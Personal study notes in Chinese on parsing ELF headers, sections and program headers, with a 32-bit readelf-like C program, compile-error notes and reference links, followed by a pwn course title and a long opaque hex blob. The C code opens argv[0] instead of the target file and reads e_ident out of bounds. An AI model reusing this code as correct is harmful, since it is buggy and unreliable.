问题一个elf程序或者动态库是否必须有某些节,他们固定的名字和含义
编译器如何对这些段进行编排和组织,顺序是否可以任意调换
是否可以欺骗程序加载器或者反汇编引擎(例如,增、删、改text段)
文件头52????
magic number16字节 还剩36字节
8*2 + 4 * 2 + 4 + 4 * 2 = 36
0x3e = 62
测试删除一些段,程序是否还能正常运行? 程序必须的段 节是哪些??
怎么增删改text段等 欺骗编译器等
代码编写自己也要编译成32位才行
gcc -m32 1.c && ./a.out test
可以参考readelf
先把32位的都给写好,然后再加上64位的
1.改进,32位 64位,根据文件头判断,然后再进行解析
解析段和节,名称 起始和结束位置, 大小,权限
fatal error: elf32.h: No such file or directory #include <elf32.h>
fatal error: bits/libc-header-start.h: No such file or directory
https://stackoverflow.com/questions/54082459/fatal-error-bits-libc-header-start-h-no-such-file-or-directory-while-compili
e_ident 怎么输出多位, c
怎么定义空格字符呢?
gcc -m32 1.c 需要编译成32位的,目前也只能解析32位程序
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124#include <stdio.h>#include <string.h>#include <errno.h>#include <elf.h>#include <unistd.h>#include <stdlib.h>#include <sys/mman.h>#include <stdint.h>#include <sys/stat.h>#include <fcntl.h>// 解析文件头// int check_elf_head(file)// {// printf("just a test%d\n",file[0]);// return 0;// }int main(int argc, char **argv){ int fd, i; uint8_t *mem; struct stat st; char *StringTable, *interp; Elf32_Ehdr *Elf_header; Elf32_Phdr *Pro_header; Elf32_Shdr *Section_header; if (argc < 2) { printf("usage: %s <executable> \n", argv[0]); exit(0); } if ((fd = open(argv[0], O_RDONLY)) < 0) //什么情况下会这样呢? 和权限好像没关系 { perror("open"); exit(-1); } if (fstat(fd, &st) < 0) { perror("fstat"); exit(-1); } mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); // 64位还是32位 if (mem[4] == 0x2) printf("it is 64 bit %d\n",mem[4]); else printf("it is 32 bit %d\n",mem[4]); // check_elf_head(mem); //头部信息 Elf_header = (Elf32_Ehdr *)mem; printf("\n"); printf("e_ident: \t%10x\n",Elf_header->e_ident[16]); printf("Type: \t%d\n",Elf_header->e_type); printf("Machine: \t%d\n",Elf_header->e_machine); /* Architecture */ printf("Version: \t%#02x\n",Elf_header->e_version); printf("Entry point address: \t%#02x\n",Elf_header->e_entry); printf("Start of program headers: \t%d(bytes)\n",Elf_header->e_phoff); printf("Start of section headers: \t%d(bytes)\n",Elf_header->e_shoff); printf("Flags: \t%#02x\n",Elf_header->e_flags); printf("Size of this header: \t%d(bytes)\n",Elf_header->e_ehsize); printf("Size of program headers: \t%d(bytes)\n",Elf_header->e_phentsize); printf("Number of program headers: \t%d\n",Elf_header->e_phnum); printf("Size of section headers: \t%d(bytes)\n",Elf_header->e_shentsize); printf("Number of section headers: \t%d\n",Elf_header->e_shnum); printf("Section header string table index:\t%d\n",Elf_header->e_shstrndx); // 解析节信息 readelf -S Section_header = (Elf32_Shdr *)&mem[Elf_header->e_shoff]; StringTable = &mem[Section_header[Elf_header->e_shstrndx].sh_offset]; printf("Section header list:\n\n"); char a = '|'; // size flag // for (i = 1; i < Elf_header->e_shnum; i++) { // printf("%-20s\t\t%-10x\t\t0x%x\t\t%x\t\t%c\n",&StringTable[shdr[i].sh_name],shdr[i].sh_type,shdr[i].sh_addr,shdr[i].sh_size,shdr[i].sh_flags); // } printf("[Nr] Name%-20c\t\tType%-10c\tAddr\t\tOff\tSize\tES Flg Al",a); for(i = 1; i<Elf_header->e_shnum; i++) {/*printf("\n[%-2d] %-20s %-10x %08x %06x %06x %02x %02x %02x "\ */ printf("\n[%-2d] %-20s\t\t%-10x\t%08x\t%06x\t%06x\t%02x %02x %02x "\ , i,&StringTable[Section_header->sh_name],Section_header->sh_type,Section_header->sh_addr,\ Section_header->sh_offset,Section_header->sh_size,Section_header->sh_entsize,\ Section_header->sh_flags,Section_header->sh_addralign); Section_header++; }// 解析段信息// readelf -l Pro_header = (Elf32_Phdr *)&mem[Elf_header->e_phoff]; printf("\n"); printf("\n/*****Program Headers:*****/\n"); printf("starting at offset: %d\n",Elf_header->e_phoff); printf("Number of program headers: %d\n",Elf_header->e_phnum); printf("Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg\n");for(i = 0; i<Elf_header->e_phnum; i++) { printf("%d %-#6x %-#x %-#x %-#5x %-#5x %-#x\n",Pro_header->p_type,Pro_header->p_offset,\ Pro_header->p_vaddr,Pro_header->p_paddr\ ,Pro_header->p_filesz,Pro_header->p_memsz,Pro_header->p_flags); Pro_header++; } return 0;}
参考ELF(5)手册
ELF官方规范文档
https://refspecs.linuxfoundation.org/elf/gabi4+/contents.html
https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
https://blog.csdn.net/qfanmingyiq/article/details/124295287
https://zhuanlan.zhihu.com/p/401446080?utm_id=0
https://github.com/jianhong-li/ElfReader
https://www.52pojie.cn/forum.php?mod=viewthread&tid=591986&highlight=elf%2B%BD%E2%CE%F6
pwn入门-21-pwn.college-Fundamentals
297f05f60dc60df7ad3147a64b55ba41c62b02eecf963d3abf8519631d063ce769ef6b9802f4b9a3153db1868f9ff2c2aef9f0da83f144a7ba7d06ffb2412e5ae963f59937b4a98899025e6f5a2c54f21d97aad06ad44cdb19b3fb8ea14663db92f0948d76b5eed9582ef2e94b23fad026c75aa1615c5867defdfd793725940c59f7faec0dd9391aeb40ce7f7d285a05000b0ef3e7b2d2b035e3183f1235949af5778500615d844ba739ecfd4728cc1e5c89d60c36115fb07628a106073693fcb64833bc1238442e014da86d627aa05e1e2a79743c743f82dd20e7bc183a1fd426d91320856fdb3979d509559e78c0cff86b5744a742da75c42bb75c8cb0db1e79a6458f30691eea061fad6dcdab03dbc88ad98c39405c0681c8bb3df34cbacc010405211a5cafe23d465c77fa7272c1c738d27b7f2e4c87120de0f425ad62ad1ae344f4d557405aa891a474d655bdc58d5ea12c7f0ae7af39b92ad86c06d1ef5c7d0d52e215bccb394cc4d89ca580d9742ce395417881e934c6d580d2adceca465dd2e83dc05e27be789b3966c70d210f958f6ab45525685ef833c0242c5c39a137f67b2d9710d7724e87ef388ba8642dd37071de19ffa4d04df7116fb34adb823d5a8104e485b222d783797e3a42cb2e8a1395226c5a3c830b24e35e003a25941d12d6733bef6e5979cbb98e2a7fa29c8db20ad626af9f28022f8ba4d5ca1dc528132117fa3bc278ee8a78f3ed1f8047e4f20885ad5a00f93c35bc2971d91c0494e3f989501d164a2165cc3d8d86c0c8de0e1de254236644e1764cb3840250d0e924ba784c2d890acab988dbdeec95dc4409ecca1782c2b13aaf3c0faa8ce0040d032d1399e08273bb5f5d31f00fd9ac892f18a17d3f6307c8ff87b1ff71bf3b4fc2c24eb18627412bfed08872aca241b20df03c232974072bb5ff90a6b1bcb506f1a32a227e7e34f678b9155b322a152496c8d6f052f70b2690014a201cd4df2a038ef55e6a0d801fe18164e08b84d706b414513c1e97610c19a10e2155bb7b6cca89a3af8ceeb5bc87b3a09ad985d396683f32ea7735332b15eb3934c7a3da096ab144d3421b66124a09ea4f4c8f614d081e42a3b4c48576eafa46c059350830dd33f2036d49e9a0681de1ee0eb8c13bb8ff9a0b27d6fdfb4b516a110c487a6957da9e1770963e267423d5f24d8ebf9858dcf33e8376ce24199ce72e33b5e5cf2d285479b5e0063ad875175826268a14fd66f2f62681310b17920cb617a583e62309ca84182f5e9517ec39130d5e553a315e55e9624b6284b947f7d32cef56a81ad7eb23b3b613391f203b601ffa40848b0f049e6032ead00611db87a139c0ae476557b01ea04ee63900284668affba9466a8087cdf791de4b356fbc86e89bf2ede5047be9fd6854ee8a97caa381d3b25f9d2a1f85bdee9a807fd50cc5d0ece25b4e71ebb56a9e249a370c972237bdfcd8e35857bad0b241e3f70053eadc92aaab9373bfbc32bb1ccdabeece7f326e8c77c725acbcdbf9bbbea8b1625c4c71c294c9d9f7c0780e35f8b79afa1e5db193a92c225f7b63f46d5f7f2e922267437ab0b50d47e96646640c0d2cabcf739b4ecfe014720042ce4505dfd3ca3d3c9bd31cbfd136e2700b77b23037e862663ead7c7ef014535000f17ba22d20dd562b58a853415112882bc794699647b0fcb8fb53138fd009db6d8ee1ab6e193fbab6580c6f9fb2f57dda67b290e6e495d73345c9afeaa118ced4f7d9e01d9272fb0d7d43ea30dedd8ddbc3dcf15ce9d95d40aa5bc29886d0e2dcb6dd51dc8765895372ebd694eef43e155bc24b801bfa78c1c627ca8e181b5956ed318f232eb6b88039d37f263d77831a4cf4ed9f8467307d1145628f0dee8b24b927123d5186f594fc75461ce92d3d9752b5e7f9e3d3081f9d9577f6e2f9f34a1d4dd98541d19864707929a26e04b3dd9efe088ccb9e3b63d4961c12839a4fc66db74043ba2f95e2116e3f5a5540a4ddd1858e97a0cec07bf4cf307deafadbf8b58e9ee2fa10e41dc697d7fea442289ce377f1e448522dddf040fbe389dffae14a48939d78b042aa63912185cd24576b3677ab30b41fc1bd8841218790e0d6788726b44fdba293c0bff7d15e32f6baf68b1a542e0d4b19a219d840682226058cbe8f3913d25dea046afbddc5ced6e61d49e8331bb34dd4289fa956435db0fe6214e580a39064d71e19743c8fb7bd74cef427dfd0d1d2ba25e12a74fb5c9db8ed72906fb2097dd4e740ee1c8343c78cd6f30d5bc08aba66ebb444721a087b68c1091fb8259895e7232dec7d8f441649c6d1a34568e0e18fbc1b4c12bfbad51f8fc4db36fe94d1292607c620ac544100c5c753c60da5b876070d9e0a6ed1595edfdb7c45a5656fd09263ceabe35e78ea28e647ae2317a4d68da079d16749b181306cecdf35a07af05445b343c4558a3a499e5c9400938909f58ac7f8fc171a949fa35d1d745e925af9087f1d9c3e945696e43c0d0ef3d57e9d001fdc036c22206e6b472ca6539e11b4ce3f71b9b59c5b74fa5340f92dfb6e7ffcc306fb29bae8966d36fa20c08b1ae23150dde5b68fe8a36c7d5dff32811a95a632bbb54d87c0555b57be7f8f72fd9fac845bef90c41016ef4788fcf68749cdc0a8d55875318eadd4540e1ede54d7a83298f1d213bff575f83b2f0548bd9f15382014b4bae8fc0605b91d1746724b382325c6a8a63cb4943f0c97ccf0162cab55202868fd832293d9f9dbcbbaaa8f358b6b6011a557498a7f3d17af00c2834da32a32d338a3841108440888cab18271d3341b36cc0774c304d46427149e70cca3c2c9528cbb87aa1fa1899b33448c0c599dd07289142a83d6aaec14aa57d878e816be1c5e7f926aa4a86c7d72ab1538142cefb9274b49de3d24d3c06af2e94aa0a9f40daebea51d20a582781ef087326b56c1402bcb6abe829d9d208b0a16d6d82840d4a3fd2849375a6a5c66692ba5d9ae06087010851cd1600a99052e27dd0d2f313fd49a500ea09b507d605644412d8bb7de72ddd3b56fca2404dc49f56f4d7608f03f5b14e3350f83ebb872aa5a20d08954ef4bae99ed63159d4816571712824d188b767fee346956b0f35e8d2297041889bc216e2b8c46fc532307b497ea2b913f96b5e1343f64680888b9c60134e48fefce3d747aff20796dcdeaf1ae685529c5793cae349a3831e56f41b858699e37e9ad9ae69a55f3e9040c581ccaa004106701cbcd060bab6d8b067c36dd16a3e5ed02ec326a2d90875993e435b2233358c0cdc5a8d8ecb9e5c572e7fc4d5bf2680ba77f85863fd9028bfec10dd8279041043c6d9da4d0eb8bd79aa906fe0181de8d6d94a87fa80849e72b327394ac7303b7a4c776a9f937e535420a1d879c5ccd6a3de790f778660a9b0dd6baac6255227541a06a992e61cf7b2c474afd211c672f7db10cedfeedc16f2e37dd801481663d564639e457617fe61bd4aa36da061e7511c951b7fe5a784d4b6cce7a49e7a51465ce1039eb58d9b29c31aebea6b1d2cf38bfe1b1cafb6dfb93dfde133e4644c930b969b9bec3ed44757031beed9b8ca834dc38fece489c166dd8d73e56edd157413bfb137061102c43e0834cb1a77904bd5150f85a1dea5b40bcd53678ff22be2552862cc4710fb3d39d1752d93b7d6ec6689fbb1e7fc74f586758a6c3e80ac0b0918d381d79c563dec5974bd911cc8657046a647ee663f4efd5d3155854a5781b6f2d318c008fb5d65943c4aaeb85e7287406e6bc7302cee1846149e0df8404104c072cd311de2e9a68e530ba7217fd294e9d6657ed41732f14dbc57347949498fcae90b480b7fee0cdd88efc22d64da8ae8fc43f153c2b6157851a7ed516d81045f04c0ff1b08669e75e20086f7ba8a4bcfebae6832a91b9b619c330ee1548b240db7adc05a7a075e4c4561be339482eb4ff17d8e714827fcadfa2f1f2b8eaa21d768374551625b2bf9cb31a590def881407861b54a2968dff49bf2bbc77e2de3d45752ef59e4c689f95eed3fd25ca5ec0941d4cc32f1696b26de6262ccc7c1f3037aa67032c2592158c3ee4016d945a594e8f6af45ed4dace061367c162cfbb899cb580925739c85e2bec5f590c6f5e71e90b65833e30556870fefa4c72d7557b14244ed0d333877500f4456d07ae65e4ce7b9689f7d8a81238e200200c1480b27de584afad3d90ae6829effb4ca658846e5a5ca515788ce207c2ae61179b9de3337250b51f5608614fdba1d1b6410dee32f15ebe71d93ea59877a55a160b365402229d4a5e2b2e25138eba65d590ae4c73a342ef665b81d680afc6f79fa8cf9177b9c8ab8ddc84da69614671283685edb07899f5becd856a1bb3a52b547bc48671ab3ba0a9912ae593f99132b99f43d3000cb9af87eef979c58461128a1a0f0f60120b3c1d1afe62da705bd397d7166f68903e81eb46a501db3ecf448acf843fbe19bddc58c50feaebf947e25775a1258511a4a5a9dad1d2ff991ec7469ff7db8aafb1314f815668beb984eefe86a7e51cf1ce2bed4bdc7eec0e96f3b02c7afa9b1b7163fa395c36e6513acb40fd65ea84f51b7f22965698eaf61972c3703b73a2a0f4ace97f2b5fb57320cfa94a2ac5cda0f45bf5cdef48e3de4018fa9547fde72c6f2809d3fdc650bee212b606ba34c2304f5a138855d32e6b5fc67b7927c1e7f0543ec96934382c816b7eced73bae98c3a72c893d9e0ec92718daa9a4460a2f6752ca354ae3dc0f8d814b2a33fa49194a8c3ced0ecb578cb3a2c8165055d5afc0a292f72f588c8d87527f1d406f678666a581f58126305d15dfc83572bcc75b5422feb5563e21f0686b14b422eb5a2340264ffb7d5865287306662035a9172a657545f83e256f8d2dce2b152749f07841580f3779b8f45e2d8ecb4b76eea5e60286889d26ae6339a5d1de0e2c7e6c31a4a7fbd01b52033b5e3f451a20c3b600ac26d09c105875b85099693d149d7ea1a1eeaac9ff74fc0281c6cf6803abc0c2f4c0c4ea37863498026afc2e6e382657555d871ac34ce286c02d9171ab5de83bb367a94da2f6646f1277612037ff90b144270291acb616b61e99abac9d619a9eb75826975258b9536568950a674e82eca34388efa60afde996b3162136b0e0be606d012bc6f324b1a18432ced99231670ffaf114a96a21323858242991bdf45b415fe5e324cf4c3562c8caca048e753dd40e94e5b237bd755bdf89a188bb612a49a33e707deb9b62434e5a8d494ad4b3641b13f331b2955bd6931007a2a44a4fcf0f08fdcada0a9895ef11a95ca6db224b438eb272533a7eb6990d1ff151bccffd1e5d04d1172798c98b0630d27e8c2290318c1d42122da08412d55e6dbf88b21baa1718ae0bf258f9d4d420f35eefa2360e206c2ca34f8bd8833c059f96121cf0811df73258fcd4898e29b6de02f14d5733d10da0046c459df981d35cb778577f180b963c2c5f617131b16169a071c227c9f8d8be1583c12ae9b0ff29137c2793577c4efc891e30c45d89708ede837967b3cabdc1aa03e133f4738b5492941538475d83cfc1c50ec0f94fdbd0cfffa65259dbc06a90fff86bfc0c905eb4fa196aeb0ec5f342aa37d27795c9139004fbda56636dd0e537fe9a1494fbbbf6463af14f1bf12377859b5aef5246d14a448edc9999208418d039e40b77550b6efebff89ffcb889b2d2067b84f1a6f5cd60b1e9fe5daf46e0dc16575cbc7fdc75887db83a51d219c2962f03477c37f3c0c180b66972dec3c19cf14941512b90092c9d36d3054a94edcd3a0841f54e3097c4b0bb24d1607188b982ac2b130f13826fe1771fae5bc77d1e45ffe21c85b2df7adb42e0c62b8285d01875fed1753027b691eedf60cb030ab5080655f4b3a5ae475626af15b1ab933d124b3d417b778d0bc608deabfe069441ae490fb271dc1ae5f194fb31155e0bf3815d844fc5f7ae23ecd053c61548ae5dce71402227c42ba1115fd3fd4ad22903f07940740d577f661ad7125b23e869c5ef616330ecb4f65d65babb25e4a52bbf199e1edea71b0f8193b437d3b6dd55837eb18d9000b889128637a42ad14fc1b1c12ba3906742bcc1f15333c39cc0598e4168a78f70bb7aa173cbf929f703b1f115266cecd4a7eff44847623eef1fa84fdce65447127bb75595526b60e471793a4f7c99e6e955ab95b642a1fc7cb5e6e3b6f679f095a7732d60471af8f45cbaa36fbfb32653d5ee40567ac28d397322a8d94ef49ff015e69b6c08840aa1390abed4841412e9d2ef31a9edbb0f7650ba4921453cc0615f5c103fe1ff6b50f08fe3c63d67d3e33220c9ee122bd2d7871bb97b0b2d4c724e040fc4e41b943d42028064a2cedb910d70a73cf9b0b7c4423e6a783fa39973194237d8322464e8ed2b3c40f5bdacd4f4e86d384365a31694e2dc63a6fb9e0e6b05d0497594fe583f3c2ccca393caa969e8abeb2c6e8b234f39e9cd3b310f3691bded952df057ea17077d190ee7a75dce5bbee3d2906c39751de287b949bb7358c0899cc4f6eb0e2839df3c0dbdc1f0684d8a7c8b07ef7a4ae2ef9c861a407e7bc45412555eb475dba8692b6b2bef7a897daed0d93456677b903212afac9109e0e98f9524d25c1fb665c8422eb9288bbcfaa379015612ffec8abd0848d9386c4fe8b2140ac16cc2f5fded8ebdfe906601bb5f19581ce061b5c9dee6c69bd4dcdee237dd0ae550cd677cf5d9058613ab27c822d74179ba787de0278b6e4cef2b79ebc96db53faedc6e26329fd8a5d3fd1c9280fbc833e5f88f2ab6f3891adf4f9c5912b1a16d2c1252529e5f4d2ab3d71ff3b3b04cd3d8a99f67d09247bc8ad0e4b1418761f885fef987689837ba4262c1a17345af07c09d00d648ab50dc6bb6142ae66e8be26dcdacc04cc53e353038a97ca57a5ab9004f28938957b17f074529647969423a500d95a21f4173472d00fdc6f73397ceac1dcd4d28f77a45570f7e0278c56045c0c92926c33bbb1bff1f8026bac53f0d2eda75231d3d8fd7354aaec7e84a1f71f31e047d9e72f73ede0a203cbd489343b2b41429fedeac09337058fe43ed3a78ea1afbbf7b400ee6612843a554ccfd5cb9f4845c3b669544f9bb386cffa7c0e1d039ffa22e5731030dd34799de4d5ce36f1bc3ba2386c0e7ffb0318c1e685c30977351b56e2ba0ca3b99f75bbb5542177625b4a99174272e9f25c7f077ff468e46783b9d0ba0f049d73e81fa7ac3fc80caebe46b82b5968f906846719d7d4364f8712b49e895db7ac92287a7c1ebe3df6101d81d30f7a0c2ad4b203aa6ef1b3b83ee0f7a54be7725f9531a87c8fd47a15a753537f711e25765819f8a50aa1aeb292ff28f1b65dc0d4972d95ea418f7f829731a0a852d6e692fbf32e39f62769f9add6731ebaeb21afac259ffdc3ec0df870f589a9469290c9539f91e502833571269aa2bcdbabfa97d737bf40bd89649190232f3c4dd50486edd312fd8f2225c398a29e06515d9e5f454a08159e24fa100f90cf03c072c4b54f77dd4863c7e11e0a560300f19816223876fc2a284f7c8c57116b34de12980c07dd5ab245ba423fbe6ff71f46591369dbbdee9e58561a4acdbc3f108f5fae8a59ea620ff73a2d09ecbde5bbb42fd287c25362e24ffea261fd6ebfe2293db4a73d38fa9b008b64c7823e753a65b4ebe40028e7f9545e945fee484b5b2906d4be2be04c33bd348a0d4e8901a8a1426585507224ac39d624e4b644b436c28e945e5e225ea8d6e314256190eaa5cdb211f3c635282b021674c324504d0fd0029ed21aab80fe8032fb648d08ab809a59a2f777919ea06443470d08eb61accd1750c5b2862fc0efad15c6c0f7850902ef40889f34f89093cda1101bba531889a23307032017dcac7b787ce5f33d3f38c1c713a360df3379c13bd690ce1a638ffc97a810772c8d81d5c13d291036de66b5cf1d75742821827d73775a55b27fc18c6f478984db902c977d30a819f49f819589c38fbd76e3eb798666145cc3c69f0c6db7b44308be69fde219db832d8c84af3e82b4a5a78b00fefcc06654a095db53db9c7178b1b85094b11f05d6fbd2abb702822cd929b4a71e7819b11fc720c79a226064e1a520d4e0b5b8408fbed01b48493bd1dc210946feb86fcc7184169637bf4c8f382d3d4eb93a870ba0f1777525e27b06aaf2846844642b96ac741dfd590867c8d1303fcf63b75c16cc9d2d1f0ad33bbb0c5249b95f8179d2a02c8375b5a094fb37b2571ae8d96a995a5bfddbbdd3587ddc54bcd45b4adda20b88a178af92c7b35889d429ab8bf101bbb97d0f6cc306db6e5e248413d572f2469fad0cd7c37e47ff4f8c4da50b5e13b9e8b3e8695dfbd4ed831cab1b5d390497286ef821bb055cee19749daf35a07b066b0702bdd40ee2c51f8ae640433e39e6fd654e556a8bd1f7efc44acdaec83b28fa443ca79d687c3b94e0a6e13c9dd4d9e1f68a14aeee503c877423db3d8743d87d161bf408e59296aac45463dfa5c9eca75634715f3576e9e3859df19ed8a24c22e4fdb03cc16d7f021035d27b43293dcd042d4ccbf3d9dabaa4091d76607252865801416bfdc4533bd39c9fa6fa8b8b88f243dfecfc36cd9192cd04264e1be70166afe8b16bc0865161d40a27b5dc5f26e39535a8ee27d0e555a3703c8f2a2751d5dd895ddc0885160c51daa0a074b74abbb836188914da8878e5a12e9cbf9f78c003233d50450138796f3fa00ccc7ea6834a7d1987f231b94a3526c08372c06b052f7d35e31f5e5a7dd2ee6193e6ac4e21167f9729241a1925ad1e70349e72321fdd30379df8abe6f3512269a1bed8e9e02b6567e8efd71a85bab3181911928b6280c50a1898af605dfde2da8d8ec90877a50f11520543eb7f0faec3e790fbff627581685a03f90a26faf8dfaf569fb8ccdf6f63c9dc9637f81b409e36bcb780e55c466cda9488332347a2e075cd3cd3e751696015c5dfb2cf598bc9b8154b286ee9e6a8bfb14b0d38b78f71559ba18c75f4d427c8c54abea5097501bed08a6968487836309f4707ac50c81365d520f82ef83b9faff12b6d5a499aa810eed4aa1e4cec45d3f7da2c7377c03d1e6fbc778e0430952b78cbc94d3f4de777b518c0718b547e1723c732687127dbe306fb6dd3f11ff8c2016291e806aeb9b0eac7a75c1b013f8cda888ac17fb3c9a750e0eee8e2994b10fccf59ffc42919f18f9fb0d279216b2754388b737488aedf078c739e848255e3b8426f6a3906b287152a18aab2fa414c530499d266b6137ef340257aa78ca3977d99eef066e2ff8623764603423575cfa899f21534bf097736b12a826a534cf7aeff715bb30a0540a3d0d7492006010bfbd07d219f5b7f5773dc23f7db9ad40cd9c207f4e2074cffdf4e85be01b9fe649de73a42bb17d9b3df9150c57ef1c38e76deb54b1caaf53aeda86df06221bafd28a7fd53608e04faa1ad01a0af13fe0da2e9cc14c4e92f54275f15568f38ad7e74900bec868b73ec3c48a25faad09c4c2bfcbef9678125ea95ddc516442bbad0da420e2b438aa247ec3abb53a5c061e9bf257aea8c38fc78b8ef83108de64b38c57ab53ef0d6d465a9e92d1b33b34271056fcdd329fd31b1f12823ceb2ae4cef79fcf43c35dde7a0f4ca6f1832226ad8353aa294c59dd196143745796c92ebe45c37d606ee1b05f9b53ad1b9a438c221d10d38cf7a59330f7437a40f811215fedfbc4d5cc3b360e9d0d4ece854b979efabae70380979697f95d5c13227d2aa5db17003fa995fe146d39f2dc4a561fd1853527882de15ada07dc1e1b085fd65556623ed64a739648c74eafbbbfd32a78a170b266a8d8eebcea81bd3939b1ab50d2ee8b3e26811f831e13b1104c52a15ccfa33a07f07fba1c3657481beb574d217891137800933f261a709fe394d50009305310e0070b531e94fbb03ef171768517783dee7c514ba39f62e469c4d7e9a95b3188718fbf2505c37ab56df9f04beefdcf4080a5f4d47123d1c6a2de6bfc2ee19614fc14de70e4c113b1816a048fd7e7d5b18a1bff43e167e0f4f5582fd20144806b699c25bf19ed16fb351d823614b7048292249905ef90a5467f846241c5ff6298ce8123a0009423716293904fddf9396bbfd1d0fb4b1b53dd519dd09113dd5db3dfa898697744e1fd9bd3e967a4be65f0c599ed838f586e9dda252d4b3b8f49e8c25d06b851238a9e821dc2212796cc315b5f07de9bd0c4d31383336a2914615804da0acc1277eab40c3a705839478289cb3ded911868f5962fc53f42741abf21ae930244581eac883eb56b0134b145d70c608c9733be4d6b91a0361e405514693853547cb4007830c0bec917187f087fd7556689ee933f0ae5a04ca36d177312cc488f1e0f205cd84eaccdd819d47e864bd9c7e22fd9e48efff2b1ccc90dc8deaf89d7e5cdcb6d48c8eb413279d6fc9cc1881bbaa888704e4bdea009240b03919f1a7b518500577f5ddd6ae1a4187dbab16473382a4adbdeaf438796afc13dc665def788c4438b9592c93ff71c5d9ac4488521aa7244bf0524c83679257915d9065e67a130309d957ff55ddfd76e9b88c09a96b198bd43352ea7c703274f47d1988892bd93b2a75af3a0afe8bcdff82e390a5002a078eedf44ff98731bb2aebfeb10f15a6c32cc7e7380363c07e4729531a00a524ff2f11767f66795b7bb780140f8b4305fab778df1e5a0ef94f9e2daa6caf7745586bd4620c4f7f2f7341b6fcc3ad5601c16c78ae8cfdfb60772f331a8646a3ded1cbfecc5de5244a2b2ec33ba29231b41388827216d899d26c556072af3a0af8de94de1a175dc7d71575858685f92b10a84a24d369ced8c4eb2c306a24cbd8f60fda04cea558dead8905c6d8ce769b4be94fd5b0a55e45f3d9b0fe7d05183bdcdb08e7d026c0cbd7ab98712745d7fe0358a8c756bf3eb9399cf24dbb80447a22da80f7419992de84d897a23ee251412020a3dc41b3ea27161a76cd1ebbc18801451e91f9f61e005f5f960e4bd7ba19a40a6a6625e8a5734a9fdd68f80cd8b02bcd9b71fa0dd10bba76fb0f3c3b068aa7ebc8a298ac101965d39d8ef9ee41d6012f86ae6657b6001d94d10ae5e1fbb37a8329620a120f454a50ce6af030c24c2f1ac349d1535b76c87fafc55e64404ac1f8abb76e5a0854e2885ea0c012f4888c62838f94ff02eb2bceb781a87f2c9ce9b27b24734d36d546533ef93c7e3bc470ee708854f6b6f15edc29cb8154b5c26596d2f36f1eef6f7faffdd79719906faba94ce2ab25d37997cdb6b1517bc1eb5274e8662acea336b8164e11677a13d9700c1b1ced745a9ebcd95a8813a10fc5ad89685f57c00df52c1232df3a40b81db59c715cedb4c08844022330dc986368f00b268b094572c705a16ca7904ab5ee3630b16b160b3ea6fe2da5e488e6a84e4734c86acaccdbd8ee599693ba9395bc04eef2c5505199b9b588d74c7f0cf282a80299339a80b10a14eebe8a587a684c8fe0a701af47a4f219f5c6a1a561a9a1363c93aefe93db8d4d729a4704d0c90b63e1ec038aad54560d31626abea8eb75f20ab80c8587c0083c85cadcd9b219cf5b89b5d4c8d3f907275ab6af17c7debb0ba6463e87aa857eac533fa88ba62e102f317e3d3670615f4d3ffe3230c7a7af024af07dbbd37233dd80a070e6aef160ea78f2adb1530d82f8e9aa17b6f14a6e0ddac01c7785d02691e685faeb5005a8640d1e3f111cf2b0c2b7bb93b59a978103f5ebc9d36c32c9154a5652217e662244e0d0d58caa6add1d54bebff821e2e707809760344b77920d570ea628fd2cf22c1649fb2eb0e761751b454c2f6dbd25aff4e4e16810629b9a2340fac39a7d5f78e6eb3ae53e5461e7c879d675a66f26e15be86c1628d76df86101c8c9e59e9414a66ac6c1c3683e20158844b026757f5b0cd209947c99f79dce66eccdb5c874334576a8f28dba1db936a4ee16620b5842d03b3af7ce832f7488e779c4c4612c2b8ad0208845519bb030292b6e47846060f13420e4b621ae48d8fe1f34354a60b3ea39263374744ae4e9f38d66511cc55672a6cf7b66df53077a6481f3087f28cfa80c2e516624fb2ecdd53cd7796a4e06f8d1f1e6ca622035eca3d05715b70be0b17a0a647601c65d73e48ca14e754f00583c0553f9b2f5b47641a26c6a3ff5f7b700af9f7c17405a0faea505bc41ceed0abc37ed62050786ed03748476a23d7d38dd6d0b209c711455e5d3efe9dcd17173911a5de038fab89e3980b3abbf768deb83c6b2608d6e22457e3b7759a4190aa8676e6fec6bda4e0a519cda3e1d3c46acdeae6d51e4b380597d301e102010fa43b25f3e365652a5911ed44354ca68758317665c8a6f9e0f0e624b228070239b4baa0115218718f6c802d6a3cc905011263232638eb94d1cbfcaa10c46372f0e232cd1fc29d0877f54a5f328820c9a9b3f6fd82288b5c13c35e516e627e09d0bc5bf578db3097b48fb45066f58e656f2482f146a9865a8b7212310689d420054e5e06e3f1d0de65c164644f3c678607bad0a40d59c9a0de9718695652e4559450419f48de456d8c083b01676b4aaf358cfcd590e6e7b940dd369f8726d307f1ff3176f31d836c5d6eecee4fb6418fb5d0789e531db8a8a8bac3f48a89453602817f54e7109d1ce723c8a866c5febc61e73ea3fb1ea01095fdf167c5dc7dbec67d7b7676fe722009a1327fe3f601e077d7a148a8eba4ced74d6e941777ff69f297e2e23ad337d2b7796d20409ea6732df6f760e9df868cd36313d391b2be9ab8741503ac9e5569b0f996d0469298605ede63ea8763d73da02f4bad031b912cf23b0e6e45cf5ff8d1b58381650246e77c2abc38a2df6da6fac87c73c7da9a5d730cc1b8828e83c6135cf33a8e2653f4701833e5aafcc6b6fb21809e2d9dce7ca4e85884dcc5c926391c945e73e8767cd0de694ba19271b61b8a3e0c737411957677e89cf8bc94f5b24100a4c5705227dd5354afde80d09073fd69b02c5d2feebd2403cad083788df0d196c6d2482bb2b84ab6987ae87d5b979ebca187b00d2ac9282b20512d37581e86196f4d49429b77a8ee64af62367be82e97bc8bc2d33f0c1efe3782f515692bab5bba58155d361b6ce1877e7fe06d63d490b99d3816803a099e51a5360658c3b565c31a4da10ba255d06c7ac93c1cfd1b8f37d966f5c4d76d13d4fbb3f20ccd242cdd3107b7ac24ba8668cab3097f8c54e3227d3fd5a2abca3ab604bb8aaa59940b908091420ba3f020f7436b534cae2a855d6a472dccc7dad09d331888dfd3bfb56ffd0a1462041eac7baa4e827f267e2ed58be08624efb85d20466d6ee7a723b0dbc618e2a84e10d80faa7df3bb19496a7bc7dd564fe4d78e3fa951ffe47292dfc68a73111255affa70944ae4c625822c42f26b0e2ea90af553e089ef0023f9f90fc9c227dfec70a7f43f404d8665e28b7bdec3a4d28849eb36ba2ba7add5737fc72a09e2513686